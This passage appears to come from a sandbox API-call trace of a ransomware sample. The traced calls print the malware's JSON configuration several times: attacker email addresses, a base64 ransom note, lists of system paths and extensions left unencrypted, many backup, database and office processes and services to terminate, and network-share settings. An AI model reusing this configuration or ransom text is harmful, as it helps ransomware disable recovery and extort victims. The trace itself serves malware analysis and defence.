WFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 51200 [0129.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c38b0, Size=0x14) returned 0x6ce848 [0129.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce868 [0129.778] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xaf82c, _Radix=0 | out: _EndPtr=0xaf82c*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 8 [0129.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ce848, Size=0x18) returned 0x6ce888 [0129.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce848 [0129.778] strtol (in: _Str="5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\